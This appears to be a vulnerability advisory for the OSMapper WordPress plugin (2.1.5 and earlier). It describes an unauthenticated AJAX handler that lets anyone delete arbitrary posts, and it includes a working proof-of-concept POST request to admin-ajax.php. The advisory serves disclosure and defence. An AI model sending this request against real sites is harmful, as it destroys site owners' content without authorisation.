OSMapper <= 2.1.5 - Unauthenticated Arbitrary Post Deletion

2022-03-0100:00:00

dc11

149

osmapper

unauthenticated

arbitrary post deletion

admin-ajax.php

exploit

EPSS

0.001

Percentile

39.5%

JSON

The plugin contains an AJAX action to delete a plugin related post type named ‘map’ and is registered with the wp_ajax_nopriv prefix, making it available to unauthenticated users. There is no authorisation, CSRF and checks in place to ensure that the post to delete is a map one. As a result, unauthenticated user can delete arbitrary posts from the blog

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1

action=ba_map_ajax_handler&requestType=delete_map&requestParams=<a post id>

EPSS

0.001

Percentile

39.5%

JSON

Related for WPEX-ID:F0F2AF29-E21E-4D16-9424-1A49BFF7FB86